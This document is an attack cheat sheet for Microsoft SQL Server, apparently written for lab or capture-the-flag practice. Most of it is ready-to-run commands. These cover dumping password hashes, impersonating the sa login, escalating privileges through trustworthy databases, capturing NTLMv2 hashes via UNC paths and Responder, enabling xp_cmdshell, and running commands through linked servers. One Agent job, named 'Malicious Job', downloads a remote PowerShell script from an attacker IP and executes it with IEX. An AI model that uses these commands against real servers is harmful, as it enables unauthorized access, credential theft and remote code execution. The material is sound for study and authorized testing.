MSSQL Attacks

MSSQL Enumeration and Privilege Escalation

Basic Enumeration

# SQL version
SELECT @@version;

# Hostname
SELECT @@SERVERNAME;

# List databases
SELECT name FROM sys.databases;

# Current database
SELECT DB_NAME();

# List users
SELECT name FROM sys.sysusers;
SELECT name FROM master.sys.server_principals;

# Check current user
SELECT USER_NAME();

# Check who is sysadmin
SELECT name FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;

# Privs
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

# Check if current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

# Tables
SELECT table_name FROM information_schema.tables;

# Check linked server
EXEC sp_linkedservers;

# Read a file
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;

# List directories
EXEC master..xp_dirtree 'C:\', 1, 1;

# Get password hashes
SELECT name, password_hash FROM sys.sql_logins;

Impersonating Logins

MSSQL has a statement EXECUTE AS which allows to execute commands of a session to another login or user, like impersonation.

Check which logins are allowed to impersonate.

SELECT name FROM sys.server_permissions
JOIN sys.server_principals
ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';

# oneliner
SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

Impersonate SA login

# Impersonate
EXECUTE AS LOGIN = 'sa';

# Use database
use priv_esc;

# Show tables
SELECT name FROM sys.tables;

# Select column
SELECT * FROM flag;

Abusing Trustworthy Databases

MSSQL Server databases have a property called TRUSTWORTHY. Sysadmins can enable this and then assign the server-level sysadmin role to arbitrary logins.

Query DB users with db_owner role

USE webshop;
SELECT b.name, c.name
FROM webshop.sys.database_role_members a
JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;

# one-liner
USE webshop; SELECT b.name, c.name FROM webshop.sys.database_role_members a JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;

Impersonate as ws_user and and check for db_owner role

USE webshop;
EXECUTE AS LOGIN = 'ws_user';
SELECT IS_ROLEMEMBER('db_owner');

Assign user in this case ws_dev sysadmin role

CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
    EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin'
GO

EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;

UNC Path Injection

We can capture NTLMv2 hashes from a user the MSSQL server is running as. Default is NT SERVICE\mssqlserver. We can use undocumented extended stored procedures:

  • xp_fileexist: Checks if file exists
  • xp_dirtree: Returns a directory tree
  • xp_subdirs: Returns a list of sub-directories

Example if hosts file exists

EXEC xp_fileexist 'C:\Windows\System32\drivers\etc\hosts';

Setup Responder

sudo responder -I tun0 -v

Then access

EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';

Command Execution

After escalating privileges to a login with the sysadmin role its possible to get CE.

Enable xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# Test
EXEC xp_cmdshell 'whoami';

Command Execution via MSSQL Server Agent Job

Create a new job which uses Powershell to download and execute a script.

USE msdb;  
GO

EXEC sp_add_job  
    @job_name = N'Malicious Job';
GO

EXEC sp_add_jobstep  
    @job_name = N'Malicious Job',
    @step_name = N'Execute PowerShell Script',
    @subsystem = N'PowerShell',
    @command = N'(New-Object Net.WebClient).DownloadString("http://10.10.14.104/a")|IEX;',
    @retry_attempts = 5,
    @retry_interval = 5;
GO

EXEC sp_add_jobserver  
    @job_name = N'Malicious Job';
GO

EXEC sp_start_job
    @job_name = N'Malicious Job';
GO

Command Execution via OLE Automation Stored Procedure

By default this is disabled but it can be enabled

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE;

OLE Automation allows to use other languages like VBS from a SQL query. Create a wscript.shell and execute a command.

DECLARE @objShell INT;
DECLARE @output varchar(8000);

EXEC @output = sp_OACreate 'wscript.shell', @objShell Output;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"';

Lateral Movement

In MSSQL Server, there is the concept of linked servers. By linking server A to B its possible to execute queries on server B from server A.

  • OPENQUERY: Run query on linked server
  • EXECUTE AT: Run query on linked server
  • OPENROWSET: Connects and runs a query on server

Enumerate Linked Servers

EXEC sp_linkedservers;

Use OPENQUERY to return database

SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');

Remote Command Execution via EXECUTE AT

Check permissions, we need sysadmin role.

SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

Execute a command remotely using linked server

EXECUTE ('EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami";') AT SQL02;

MSSQL Commands

SQL (ws_dev  guest@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query

More

# Enum impersonate
enum_impersonate

# Execute as
exec_as_login sa

# Dirtree
xp_dirtree \\10.10.14.104\a

# Enable xp_cmdshell
enable_xp_cmdshell

# Start a job
sp_start_job cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"

# Use linked server
use_link SQL02